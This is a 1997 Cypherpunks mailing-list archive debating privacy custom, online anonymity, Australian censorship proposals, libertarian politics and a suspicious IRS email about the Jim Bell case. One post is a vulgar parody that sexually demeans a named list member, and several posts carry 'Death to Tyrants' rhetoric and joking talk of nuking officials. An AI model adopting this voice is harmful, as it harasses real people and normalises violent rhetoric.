> have to protect our privacy.  Cypherpunks are well aware of the
> technological options, so I won't discuss them further except to note that
> they probably are not, by themselves, enough.
... 
> The last is custom.  This approach appears in cypherpunk discussions as an
> emphasis on contractual relations between people and the organizations
> receiving data.  It is this area I would like to discuss.
...
> What makes a good privacy contract?  What should you expect when you buy
> something?  What is the standard contract?  What exceptions must be clearly
> noted?  How does society decide these cultural issues?

A contract is something within law and enforcable by courts, so you aren't
really talking "custom".  And even with private contracts, not everything
is enforcable.  Other times something like a contract (IANAL) is created
such as when I buy a product unless it says "as-is" it has some implicit
warranties under the universal commercial code.

Contracts are good things, but they are cumbersome because they have to be
negotiated on the spot [like the man at computer city who wrote on the
back of his check for their "club" membership - acceptance of this ... 
says you won't send me junkmail;  They deposited the check and he sued and
won].

On a web page, I usually cannot send an E-NDA in the form they want me to
fill out (so I often leave spaces blank or with obviously bad numbers and
some comment to contact me).  This is usually less efficient than phoning.

This leaves Custom as such, a social instead of a legal contract.  The net
has been good at policing its own.  Web pages asking for email addresses
aren't supposed to forward them to spambots.  They now often state this
explicitly.  If someone says something wrong in a discussion group, they
get flamed, and if they do it enough, they are placed in everyone's kill
file.

The problem is that culture takes a while to learn, and with everyone with
different customs comes to the net, they may not see anything wrong with
doing something they are used to (for a physical world example: some local
immigrants from an area where barter was the custom tried haggling on
price-tagged items until they figured out what was going on). 

Custom is determined by evolution, not by specification.  And that cannot
be accelerated, and will be a problem until everyone has been on the net
long enough to establish a common set of manners.  How much information
does someone retain?  Enough so that a web page presents your desired
configuration without having to retype it?  Should they pass this on to a
sister site?  A different company? 

The worst thing that can happen is to codify custom.  I can see that as
the reason to avoid "Voluntary Ratings", because as soon as a misrated
(who determines?) page comes up, it becomes cause for a legal action, and
then everyone will want it to be manditory and enforced.

So a measure of politeness (indicating what the content might be so it can
be filtered) becomes a political battle, almost as if I don't go out and
say something offensive in public every day then I am not defending my
first ammendment rights - which is only slightly less bizzarre than some
of the judicial decisions.

--- reply to tzeruch - at - ceddec - dot - com ---







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Wed, 23 Jul 1997 00:33:45 +0800
To: cypherpunks@toad.com (Cypherpunks Mailing List)
Subject: Queen of Pseudononymity
Message-ID: <199707221612.MAA17707@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



http://customnews.cnn.com/cnews/pna.show_story?p_art_id=186693&p_section_name=Sci-Tech


British Queen Admits to Being a Keen Web Surfer

NewsBytes
22-JUL-97

LONDON, ENGLAND, 1997 JUL 22 (Newsbytes) -- By Sylvia Dennis.
Buckingham Palace's press office has revealed that one of the reasons
for the opening of the Royal World Wide Web site at
http://www.royal.gov.uk in March of this year was Queen Elizabeth's
fondness of the Internet.

According to press reports in the serious UK press over the weekend,
both The Queen and her husband, HRH Prince Phillip, The Duke of
Edinburgh, are keen users of the Internet. The Queen is apparently
using Internet e-mail to keep in touch with favored UK citizens.

Rather than use the obvious e-mail address of
one@buckinghampalace.co.uk, however The Queen is apparently using a
number of pseudonyms to hide her true identity.  Only the recipients
of her e-mail are alleged to know who is really behind their messages.


-- 
He has erected a multitude of new offices, and sent hither swarms of
officers to harrass our people, and eat out their substance.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 23 Jul 1997 00:34:22 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Keepers of the keys
In-Reply-To: <19970721180611.27600@bywater.songbird.com>
Message-ID: <Pine.SUN.3.96.970722115644.2526C-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 21 Jul 1997, Kent Crispin wrote:

> Right.  So those people simply don't count, and might as well be
> eliminated.

Butthead: Whoa!  That was cool!
Bevis: I like stuff that's like, um, you know, cool, huh huh, huh huh. 
Butthead: Me too, but I hate stuff that sucks
Bevis: Yeah, yeah, huh huh, huh huh.
Butthead: huh huh, huh huh.
Bevis: Hey Butthead, let's eliminate something...
Butthead: Yeah, let's go take a dump on Kent's head..  Huh huh.
Bevis: huh huh, huh huh...

> No, Tim obviously lives in a world rich in fantasy.  But he is a very
> clever fellow, and can be quite impressive.  

Bevis: He said fellow, huh huh, huh huh, huh huh.
Butthead: Yeah, yeah, and then he said impressive.
Bevis: We're there dude!
Butthead: Yeah, Kent is a wuss, he like works for the NSA or something
Bevis: Yeah, he works for your butt, fartknocker.
Butthead: Huh huh, huh huh, shuddup before I smack you Bevis.
Kent: I am Spookholio, come out with your passphrases down (whoa, that was
cool, yeah um, huh huh, huh huh.)
Kent: I need access to your bunghole.  Grease up now citizen unit.
Bevis: Whoa, that was cool or something
Butthead: This sucks, change the channel.
Kent: Are you threatening me? Government Access to Keys Now!
Bevis: Kent is getting lame.  Yeah, I'd rather go back to school than
       watch him.
Butthead: Yeah, what a wuss, even we wouldn't give him  our passwords.
Bevis: Yeah, let him spank his own monkey.
Butthead: Huh huh, yeah, huh huh.
Kent: I am the great Spookholio, boioioioing!  I need access to your butt.
Butthead: Shut up Kent before I smack you.
Kent: Bend over now! And pay for the vaseline(tm) All will bend over to
      the creat Spookholio!  I need GAK for my bunghole.
Bevis: yeah, yeah, shutup asswipe.
Butthead: You fart knocker.
Bevis: Hey, Butthead, let's leave or something... this sucks...
Butthead, Uh, huh huh, yeah Kent, go take a dump or something
Bevis: He's like, pretending to be Cornholio or something...
Kent: Are you threatening me?
Butthead: yeah, what a lame poser, dude...
Bevis: this sucks
Kent: You buttmunch.  I'll get Louie Freeh after you..
Butthead: Kent you schill, you suck choads.
Bevis: yeah, yeah...
Butthead: Is that government shit coming out of his mouth?
Bevis: yeah, he's got, like diarhea of the mouth or something...
B&B: Diareah, cha cha cha
B&B: Diareah, cha cha cha
B&B: Diareah, cha cha cha
B&B: Huh huh, huh huh, huh huh, that was cool!

... Now back to more regularly scheduled MTV videos ....

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 23 Jul 1997 01:54:55 +0800
To: cypherpunks@toad.com
Subject: Re: disappointing honeymoon!
Message-ID: <P5590D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



enoch@sim.zipcon.net (Mike Duvos) wrote:
>IceAngel (geode@netcom.com) wrote:
>
>: While this is actually very humorous in many ways (well, it IS, Mike!)
>
>It's not half as funny as the daily bot-generated insults directed at Tim
>May on the Cypherpunks list, allegedly by Tim's good friend Dr. Dimitri
>Vulis.  They even arrive with little ascii pictures attached. 
>
>Compared to Dr. Vulis, J.Goat/Motherhood/mikeduvos/mrs_mike_duvos is a
>very lame pretender, and probably a dandruff-covered Armenian to boot. 

Naw, I'm not fightimh with Ray anymore.

>
>: heh....you probably don't know Mike very well.
>
>That is correct.  After all, it's just little zeros and ones. 
>
>--
>     Mike Duvos         $    PGP 2.6 Public Key available     $
>     enoch@zipcon.com   $    via Finger                       $
>         {Free Cypherpunk Political Prisoner Jim Bell}

Free Cypherpunk Political Prisoner Jim Bell now!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Wed, 23 Jul 1997 01:10:17 +0800
To: cypherpunks@cyberpass.net (Cypherpunks List)
Subject: Re: Fight-each-other
In-Reply-To: <97Jul22.110332edt.32258@brickwall.ceddec.com>
Message-ID: <199707221715.NAA30596@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Mismatched NFS IDs writes:

> I think something more is going on, at least with the "conserative
> movement", but I also watch National Empowerment Television :).
> 
> Grover Norquist has coined the term "The Leave-us-alone Coalition" that
> simply wants the government out of everything they have no constitutional
> authority to be in.  They perceive government as an intrinsic evil and the
> only thing that should be done is to slay the dragon.  I would number
> Eagle Forum and the Progress and Freedom Foundation in this group.

Sure, *they* want to be left alone, but I wouldn't trust these
groups to leave the rest of us alone.  They'll want to make sure
that we're not ingesting any controlled substances, and that we're
not shacking up with an unmarried partner, and that we're not peeking
at porn or engaging in "abnormal" sexual practices, and that we pray
to the right god at the right time, and so forth.  These groups are
not friends of liberty.  Like the traditional "liberals", they seek
not so much to slay the dragon as to replace it with their own.  If
they currently happen to agree with "us" on net issues, fine.  
Otherwise, give me true libertarians anyday.


[snip]
> The first group are deserting the Republican party as such in droves (look
> for a Libertarian party pickup if the party avoids being too libertine). 

Hah!  Can anyone imagine the Libertarians supporting an Anti-abortion
amendment, or a school prayer amendment or a flag-burning amendment?
No, I don't think these folks will be joining the Libertarian party
anytime soon.


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 23 Jul 1997 03:01:24 +0800
To: cypherpunks@toad.com
Subject: Book:The Complete Guide to Offshore Money Havens
Message-ID: <Pine.SUN.3.96.970722142136.2526I-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



Just found this:

Title:     The Complete Guide to Offshore Money Havens
Author:    Jerome Schneider
ISDB:      0-7615-0451-6
Price:     $29.95USD MSRP
Publisher: Prima Publishing.
           Copryight 1996 by author.

"How to make Millions, protect your privacy and legally avoid taxes -
Whether your net worth is $100 or $100 million" is the quote on the cover.

TOC:

1. Bankrupcy of America
2. The Beacon Offshore
3. The Open Door: Doing Business Offshore
4. The Profit Incentive
5. In Pursuit of True Financial Privacy
6. Offshore Tax Protection
7. Protecting Your Assets
8. Eight Steps to Offshore Success
9. Offshore Money Havens: Where to Go
10. Inversons on File
11. Getting started the Easy Way.

Appendixes:
1. How to Open a Foreign Bank Account
2. Offshore Money Havens from Canada
3. Addresses
4. Forms.

Anyone know if this book is any good?

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: apache@gargoyle.apana.org.au
Date: Tue, 22 Jul 1997 13:13:04 +0800
To: cypherpunks@cyberpass.net
Subject: Australia to Censor the Net
Message-ID: <199707220504.PAA17769@gargoyle.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



Electronic Frontiers Australia Inc.        

                    Media Release                  July 20th 1997

GOVT INTERNET PROPOSALS -- THREAT TO FREE SPEECH; BURDEN ON ISPS 

Online civil liberties group Electronic Frontiers Australia has warned
that the proposals for Internet regulation released this week by the
Minister for Communications and the Arts, Senator Alston, and the
Attorney-General, Mr Williams, would threaten free speech and place an
impossible burden on Internet service providers.

EFA Chair Kimberley Heitman said the Government had done well to avoid
the totalitarian censorship recommendations of the Senate Select
Committee in its June 1997 report.  However the proposals were still
"an unnecessary intrusion by Big Brother".

There are several problems with the suggested principles for
legislation.

The principles make Internet Service Providers (ISPs) responsible for
content created and published by others.  "It is quite simple.", said
Mr Heitman. "Content providers should be responsible for content.  The
whole concept of making service providers responsible for content is
bizarre. It is as senseless as making paper-makers responsible for
books published using their paper".

The principles require ISPs to make judgements about how material
published by their users would be classified by the Office of Film and
Literature Classification.  "The recent Rabelais case in the Federal
Court illustrates the complexity of the OFLC classification system",
said Mr Heitman.  "But now ISPs, whose skills are primarily technical,
are expected to enter the legal minefield of censorship
classification. This is an extraordinary burden which can only result
in perfectly legal material being removed 'just in case'."

The principles do not explain how jurisdictional issues resulting from
States passing their own censorship laws would be resolved. 
"Requiring ISPs to take into account whether material would 'otherwise
be illegal under a State or Territory law' could be a total nightmare,
especially for national service providers", commented Mr Heitman. "It
would effectively allow individual States to impose their values on
the entire country".

The principles fail to take into account that clearly objectionable
material such as child pornography is already illegal under existing
law, or that the vast bulk of "adult" material is sourced from outside
Australia.  "The Clinton administration in the USA has just abandoned
attempts to regulate the Internet - yet Australia seems to be trying
to do the impossible all by itself", said Mr Heitman.

There is still no evidence that there is any problem for which
legislation of this kind is the solution.  User education and
community awareness are important, but these can not usefully be
compelled by legislation.

ENDS

      --------------------------------------------------------------
      Electronic Frontiers Australia Inc  --  http://www.efa.org.au/
      representing Internet users concerned with on-line freedoms
      --------------------------------------------------------------
      Media Contacts

      Kimberley Heitman
      Phone: +61 8 9458 2790
      Email: kheitman@it.com.au

      Danny Yee
      Phone (home): +61 2 9955 9898
      Phone (work): +61 2 9351 5159
      Email: danny.yee@efa.org.au
      --------------------------------------------------------------

BACKGROUND

DCA principles:
 http://www.dca.gov.au/policy/fwork_4_online_svces/framework.htm

EXERPT:
[snip]
PRINCIPLES FOR A REGULATORY FRAMEWORK FOR ON-LINE SERVICES IN THE
BROADCASTING SERVICES ACT 1992

1. The Broadcasting Services Act 1992 (BSA) should be amended to
establish a national framework of effective industry self-regulation
for on-line service providers, supervised by the Australian
Broadcasting Authority (ABA), in relation to content transmitted
through on-line networks.

Objectives

2. The regulatory regime should aim to : 

(a) encourage on-line service providers to respect community standards
in relation to material published by means of their service; and

(b) encourage the provision of means for addressing complaints about
content published by means of an on-line services; and

(c) ensure that on-line service providers place a high priority on the
protection of minors from exposure to material which may be harmful to
them.

3. The legislation should encourage the development of self-regulatory
mechanisms and in particular avoid inhibiting the growth and
development of the on-line services industry by placing unreasonable
regulatory constraints on the on-line services provider industry
regarding the publication and transmission of material.

4. The legislation should codify the responsibilities of an on-line
service provider in relation to objectionable content and other
content that is of concern to the community accessed by means of the
on-line service provider's network.
[snip]
-- 
   .////.   .//    Charles Senescall             apache@quux.apana.org.au
 o:::::::::///     apache@bear.apana.org.au  apache@gargoyle.apana.org.au
>::::::::::\\\     Finger me for PGP PUBKEY            Brisbane AUSTRALIA
   '\\\\\'   \\    Apache





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Smith" <jsmith58@hotmail.com>
Date: Wed, 23 Jul 1997 07:09:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: CDT's Berman Opposes Online Anonymity
Message-ID: <199707222257.PAA02445@f30.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



There is a project on anonymous communications by the
AAAS, very respected scientific organization.  You can take
a survey about it at http://www.aaas.org/spp/anon/.

"Bill


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 23 Jul 1997 11:47:44 +0800
To: cypherpunks@Algebra.COM
Subject: DEATH TO TYRANTS
Message-ID: <v03102800affb2d3ac4ed@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



By the way, I don't recall it being mentioned that the message from "IRS
Inspection" had an interesting subject line: DEATH TO TYRANTS.

I don't know if this was on the message others received, but it was on my
version. Included below are the headers.

Odd that this would be used, and probably not coincidental that the famous
quote has been in my most recent .sig for only a few months, and only
_after_ the Bell arrest (as far as I can recall). It's unlikely the IRS
"Inspectors" had any mail from me via Bell's computer(s) with this quote in
it.

--Tim May


>Received: from you for tcmay
> with Cubic Circle's cucipop (v1.13 1996/12/26) Fri Jul 18 19:25:02 1997
>X-From_: irsnwpr@net.insp.irs.gov Fri Jul 18 15:30:05 1997
>Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov
>[204.151.245.2]) by you.got.net (8.8.5/8.8.3) with SMTP id PAA28395 for
><tcmay@got.net>; Fri, 18 Jul 1997 15:29:59 -0700
>X-Real-To: <tcmay@got.net>
>Received: by tcs_gateway1.treas.gov id AA19560
>  (InterLock SMTP Gateway 3.0 for tcmay@got.net);
>  Fri, 18 Jul 1997 18:36:21 -0400
>Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
>  Fri, 18 Jul 1997 18:36:21 -0400
>Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
>  Fri, 18 Jul 1997 18:36:21 -0400
>Date: Thu, 17 Jul 1997 12:18:35 -0400
>From: IRS Inspection <irsnwpr@net.insp.irs.gov>
>Message-Id: <199707171618.MAA02670@net.insp.irs.gov>
>To: Interested-Parties@net.insp.irs.gov
>Subject: DEATH TO TYRANTS
>
>
>
>					United States Attorney
>					Western District of Washington
>
>FOR IMMEDIATE RELEASE
>July 18, 1997
>
>JAMES D. BELL PLEADS GUILTY TO OBSTRUCTING THE IRS AND USING FALSE SOCIAL
>SECURITY NUMBERS
....

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cyberdog <eric@clever.net>
Date: Wed, 23 Jul 1997 10:04:25 +0800
To: cypherpunks@cyberpass.net
Subject: List of Reliable Royal Remailers
Message-ID: <v03102800affb1439bb31@[204.249.244.13]>
MIME-Version: 1.0
Content-Type: text/plain




   The Queen sends e-mail anonymously through a government pool system
   that does not depend upon the user having a regular "handle" - such as
   One@Buckhouse.Com. It resets the user's name with every message.

Open questions:
    Address
    Any Peers

http://www.sunday-times.co.uk/news/pages/Sunday-Times/stinwenws01017.html?134926
0






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nobody <nobody@rigel.cyberpass.net>
Date: Wed, 23 Jul 1997 10:14:47 +0800
To: Cypherpunks List <cypherpunks@cyberpass.net>
Subject: Re: Fight-each-other
In-Reply-To: <199707221715.NAA30596@jafar.issl.atl.hp.com>
Message-ID: <97Jul22.220455edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



Regarding the subject, Q.E.D.

On Tue, 22 Jul 1997, Jeff Barber wrote:

> > Grover Norquist has coined the term "The Leave-us-alone Coalition" that
> > simply wants the government out of everything they have no constitutional
> > authority to be in.  They perceive government as an intrinsic evil and the
> > only thing that should be done is to slay the dragon.  I would number
> > Eagle Forum and the Progress and Freedom Foundation in this group.
> 
> Sure, *they* want to be left alone, but I wouldn't trust these
> groups to leave the rest of us alone.  They'll want to make sure
> that we're not ingesting any controlled substances, and that we're
> not shacking up with an unmarried partner, and that we're not peeking
> at porn or engaging in "abnormal" sexual practices, and that we pray
> to the right god at the right time, and so forth.  These groups are
> not friends of liberty.  Like the traditional "liberals", they seek
> not so much to slay the dragon as to replace it with their own.  If
> they currently happen to agree with "us" on net issues, fine.  
> Otherwise, give me true libertarians anyday.

You either missed or paraphrased my second paragraph.  My point is
precisely that the rift is between those who want to use government to
regulate the things you mention, and those who don't think it is the
government's business, whether they consider them good or bad.  The
organizations I mentioned here specifically don't want the federal
government trying to control these things.

In general, sacrificing one's own liberty in an attempt to limit someone
else's behavior when it doesn't affect anyone else, even if it is
self-destructive, is silly. 

Both France and the United States had revolutions at about the same time.
One eventually established liberty and the other a reign of terror, but
both thought they were "true libertarians".

> > The first group are deserting the Republican party as such in droves (look
> > for a Libertarian party pickup if the party avoids being too libertine). 
> 
> Hah!  Can anyone imagine the Libertarians supporting an Anti-abortion
> amendment, or a school prayer amendment or a flag-burning amendment?
> No, I don't think these folks will be joining the Libertarian party
> anytime soon.

Political parties are defined by their members and a membership change
would result in a policy change.  I can imagine a 10th ammendment style
anti-abortion ammendment which would overturn Roe v. Wade and remove the
federal government from the debate.  I can also imagine a similar
ammendment returning us to "public schools" instead of the current
"government schools" which would have prayers or not as part of their
local policy.  And I have heard many "conservative Republicans" say that
they should trivially alter the constitution for something like flag
descration. 

But I will even go further.  There is such an organization as Libertarians
for Life - where you stand on the abortion question is dependent on when
you think a human life becomes a person with constitutional protections,
not on whether you think there should be laws against murder, or whether
people who want medical procedures should be able to have them, which
there is almost unanimous agreement on.  The rift in the Republican party
will cause a similar one in the Libertarian party, between the Actonite
and Libertine and even the anarchical wings.  Even libertarinaism is not a
point, but a continuum.  True libertarians all agree that my rights end
where yours begin, but not on exactly where that line is, and rights are
only one side of the equation.  Liberty is precious and a delicate balance
which is why it is so rare.

Liberty has a cost of personal responsibility.  Ingesting controlled
substances can affect me if they drive or work for me.  Remember that the
other side of this is that I would be able to personally evaluate all
these things when deciding to hire someone I intend for a long term
position - they can have all their privacy but no job, or would have to
act under my definition of responsibility - and you would be equally free
to hire people who met your standards.

Or to update the old joke, A socialist is a libertarian who has overdosed
or injured someone during a blackout, had a child out of wedlock, or has
contracted a STD.  They probably start praying too :). 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave K-P <dkp@iname.com>
Date: Wed, 23 Jul 1997 11:34:54 +0800
To: cypherpunks@toad.com
Subject: Cops, Spies Fail to Slow Crypto Bill
Message-ID: <33D577C5.7327@iname.com>
MIME-Version: 1.0
Content-Type: text/plain



Security and Freedom through Encryption Act passed at a mark-up
meeting of the House International Relations Committee.

	http://www.wired.com/news/news/politics/story/5399.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 23 Jul 1997 12:40:36 +0800
To: Tim May <tcmay@got.net>
Subject: Re: DEATH TO TYRANTS
In-Reply-To: <v03102800affb2d3ac4ed@[207.167.93.63]>
Message-ID: <199707230432.XAA18997@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


Hmmm... looks like it may be a forged header here:

>Received: from you for tcmay
> with Cubic Circle's cucipop (v1.13 1996/12/26) Fri Jul 18 19:25:02 1997

The received line above looks rather suspicious.


In <v03102800affb2d3ac4ed@[207.167.93.63]>, on 07/22/97 
   at 08:44 PM, Tim May <tcmay@got.net> said:

>By the way, I don't recall it being mentioned that the message from "IRS
>Inspection" had an interesting subject line: DEATH TO TYRANTS.

>I don't know if this was on the message others received, but it was on my
>version. Included below are the headers.

>Odd that this would be used, and probably not coincidental that the
>famous quote has been in my most recent .sig for only a few months, and
>only _after_ the Bell arrest (as far as I can recall). It's unlikely the
>IRS "Inspectors" had any mail from me via Bell's computer(s) with this
>quote in it.

>--Tim May


>>Received: from you for tcmay
>> with Cubic Circle's cucipop (v1.13 1996/12/26) Fri Jul 18 19:25:02 1997
>>X-From_: irsnwpr@net.insp.irs.gov Fri Jul 18 15:30:05 1997
>>Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov
>>[204.151.245.2]) by you.got.net (8.8.5/8.8.3) with SMTP id PAA28395 for
>><tcmay@got.net>; Fri, 18 Jul 1997 15:29:59 -0700
>>X-Real-To: <tcmay@got.net>
>>Received: by tcs_gateway1.treas.gov id AA19560
>>  (InterLock SMTP Gateway 3.0 for tcmay@got.net);
>>  Fri, 18 Jul 1997 18:36:21 -0400
>>Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
>>  Fri, 18 Jul 1997 18:36:21 -0400
>>Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
>>  Fri, 18 Jul 1997 18:36:21 -0400
>>Date: Thu, 17 Jul 1997 12:18:35 -0400
>>From: IRS Inspection <irsnwpr@net.insp.irs.gov>
>>Message-Id: <199707171618.MAA02670@net.insp.irs.gov>
>>To: Interested-Parties@net.insp.irs.gov
>>Subject: DEATH TO TYRANTS
>>
>>
>>
>>					United States Attorney
>>					Western District of Washington
>>
>>FOR IMMEDIATE RELEASE
>>July 18, 1997
>>
>>JAMES D. BELL PLEADS GUILTY TO OBSTRUCTING THE IRS AND USING FALSE SOCIAL
>>SECURITY NUMBERS
>.....

>There's something wrong when I'm a felon under an increasing number of
>laws. Only one response to the key grabbers is warranted: "Death to
>Tyrants!"
>---------:---------:---------:---------:---------:---------:---------:----
>Timothy C. May              | Crypto Anarchy: encryption, digital money,
>tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms,
>zero W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information
>markets, Higher Power: 2^1398269     | black markets, collapse of
>governments. "National borders aren't even speed bumps on the information
>superhighway."





- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 23 Jul 1997 05:39:12 +0800
To: cypherpunks@cyberpass.net
Subject: Re: CDT's Berman Opposes Online Anonymity
In-Reply-To: <199707211648.SAA11236@basement.replay.com>
Message-ID: <199707222127.XAA17893@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> In fairness to Berman, in 1985 very few people were thinking seriously
> about these issues, and Chaum's paper (presumably the one published that
> year in "Communicatons of the ACM") was probably seen as far-off
> technology then.
> 
> I'd be more interested to see Berman's more recent views on online
> anonymity.
> 
> It might well be that in 1985 he saw little hope for technological
> solutions, and understandably placed more faith in legislative solutions.
> 
> Now that the technology for anonymity is widely deployed, this situation
> has changed.

I think we've all been thru this before, with the Esther Dyson flap and
so on.  That was then, this is now.

Online anonymity was not much of a real issue ten years ago, and I doubt
most readers had formed much of an opinion on it.  On private BBSes it
was prevelant, and on academic and corporate networks it was virtually
nonexistant.  As these networks began to merge, not surprisingly people
came down on both sides of the issue, but their opinions were backed more
by convention than by the facts of the situation.

I think that as time has progessed, people have come to see the reasons
behind it.  Five years ago, there was considerable debate over whether
anon.penet.fi should exist, today almost everyone takes for granted the
right to post anonymously.  For all the animosity he has caused, Spamford
Wallace has shown us why you don't want people to know your email address.
Some of you may remember the comments made on the list by a certain law
professor, who said he wouldn't post to usenet because he didn't want to
get junk mail.  In hindsight we can laugh at that remark in light of the
obvious solution.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 23 Jul 1997 05:41:30 +0800
To: cypherpunks@cyberpass.net
Subject: Re: CDT's Berman Opposes Online Anonymity
In-Reply-To: <199707211648.SAA11236@basement.replay.com>
Message-ID: <199707222133.XAA18575@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> Now that the technology for anonymity is widely deployed, this situation
> has changed.

Is it so, or rather is it that the technology has been deployed in response
to a changing situation?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 23 Jul 1997 14:55:43 +0800
To: cypherpunks@Algebra.COM
Subject: Re: IRS sending warning notes, violating ECPA?
In-Reply-To: <199707230546.HAA20775@basement.replay.com>
Message-ID: <v03102800affb589a7e0d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:46 PM -0700 7/22/97, Anonymous wrote:

>  Perhaps the hardest part of maintaining secure communications and
>personal privacy is remembering that, no matter how tight you run your
>own ship, you are, to a certain extent, "married" to the people with
>whom you communicate. And, to use an AIDS analogy, you are also
>"married" to everyone they have slept with.

I really can't agree with this viewpoint. Insofar as _crypto_ goes, the
beauty of public key systems is that one shares _nothing_ with others. They
don't have your secret keys, and you don't have theirs.

It is true that their communications with you, or yours with them, may be
used against you. Maybe by them, maybe if their computers are stolen or
seized. But this is unavoidable with any communication system. Contact
tracking is often possible.

And crypto even allows for fully pseudonymous communication. Thus, if the
IRS and FBI seized Bell's computer and found communications through
remailers with "Pr0duct Cypher," his or her True Name, meatspace personna
would be safe.

>  The bottom line is that one should "err" on the side of safety. Being
>_too_ paranoid is less costly than not being paranoid enough.
>  Tim May's rants are not done in ignorance. He understands the legal
>differences between saying "The criminals in D.C. _should_ be nuked.",
>and saying, "I _am_going_to_ nuke the criminals in D.C., someday."
>(Friday, at 4 o'clock.)
>  I am certain that Tim is well aware that, even if he is right about
>his statements being Constitutionally protected free speech, there is
>always the chance that he could suffer grief or imprisonment for them(
>quite simply because "the criminals" are getting more profecient at
>subverting and destroying the rights protected by the Constitution).
>  I am just as certain that Tim has made a conscious decision as to
>what level of risk he is willing to take to speak his mind and perhaps
>make a difference in the events of his time, without merely being
>egoistical, stupid, and suicidal.

If I wanted to be "safe" and "secure," I'd just stay silent like a good
little sheeple. I'd get off this list, I'd cluck appropriately at those
darned cypher-terrorists, and I'd volunteer some time at the local
Demopublican Party machine.

All of us on this list, except the plants and shills, are risking a certain
amount. (Several corporate types have sent me e-mail saying that now that
they are in positions of respectability within their corporations, they can
no longer say what's on their mind, for fear of repercussions of various
sorts, however mild.)

Speaking out is what separates us from sheeple.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
